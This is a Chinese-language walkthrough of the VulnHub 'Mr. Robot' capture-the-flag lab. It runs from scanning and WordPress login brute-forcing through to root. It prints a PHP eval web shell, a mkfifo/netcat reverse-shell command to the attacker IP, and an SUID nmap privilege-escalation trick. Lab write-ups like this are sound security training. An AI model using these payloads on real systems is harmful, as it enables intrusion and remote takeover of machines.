vulnhub靶场渗透mrrobot漏洞复现

靶场下载地址：机器人先生： 1 ~ VulnHub

目录

靶场下载地址：机器人先生： 1 ~ VulnHub

1.内网渗透

2.端口扫描

3.扫描指纹

4.目录扫描

5.burp爆破

6.木马上传

7.反弹shell

8.find提权

9.总结

实验背景：此 VM 有三个密钥隐藏在不同的位置。你的目标是找到所有三个。每个钥匙都越来越难找到。

VM 并不太困难。没有任何高级利用或逆向工程。该级别被认为是初级 - 中级。

攻击机ip：192.168.179.131 kali

靶机ip：192.168.179.116 ubantu

目标：获取靶机上的flag

1.内网渗透

先利用namp扫描整个网段，找出靶机的IP为192.168.179.116

2.端口扫描

扫描所有开放的端口，找出的开放端口为80，22，443

根据对应的端口，找到可能存在的漏洞

3.扫描指纹

要下载插件扫描指纹信息，用kali自带的whatweb插件；

 whatweb 192.168.179.116

4.目录扫描

通过dirb遍历一下其存在的站点

 dirb http://192.168.179.116 /usr/share/dirb/wordlists/big.txt

看一下几个比较重要的站点，首先看到robots.txt，里面有flag1和一个字典

访问flag1可以看到一串字符，看起来像是md5，尝试解密但解密失败

访问fsocity.dic，可以下载文件，猜测是用户名或者是密码

5.burp爆破

上面目录遍历中有一个登录站点http://192.168.179.116/wp-login，尝试利用上面的字典文件进行爆破

随便输入一个用户名，发现有错误的用户名认证，所以可以用burp依次爆破用户名和密码

先爆破用户名，用上上面下载的

爆出几个用户名

再用用户名去暴密码，这里字体太多了，而且重复的也多的离谱，可以先进行文本去重，快了好多

得出最终的用户名密码，去登录页面进行登录，登录成功

• 用户名：elliot

• 密码：ER28-0652

6.木马上传

在页面找到一个模板可以自定义，上传一句话木马

 <?php
 @eval($_POST['code']);
 ?>

用蚁剑进行远程连接

7.反弹shell

在蚁剑的虚拟终端不好操作，反弹到kali进行操作

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.131 4444 >/tmp/f

在Kali上启动nc监听

 nc -lvp 4444

搞一个交互式环境好操作

 python -c 'import pty; pty.spawn("/bin/bash")'

查看当前目录下的文件和当前用户，切换到robot用户下，发现了flag2和一个MD5加密的密码

发现flag2不能查看，没有访问权限

对MD5加密密码进行解密

得到了robot用户的密码，进行登录，登录成功后得到了flag2

• 用户名：robot

• 密码：abcdefghijklmnopqrstuvwxyz

8.find提权

查找可以利用的SUID 权限程序，可以找到 nmap，所以用 nmap 执行 root 权限

 find / -perm -u=s -type f 2>/dev/null

使用nmap --interactive 进入命令行，然后输入!sh产生一个 root 权限的新shell，发现提权成功，查看当前目录，获得flag3，复现完成

9.总结

• nmap多种用法

• burp，蚁剑等工具的使用

• 反弹shell

• find提权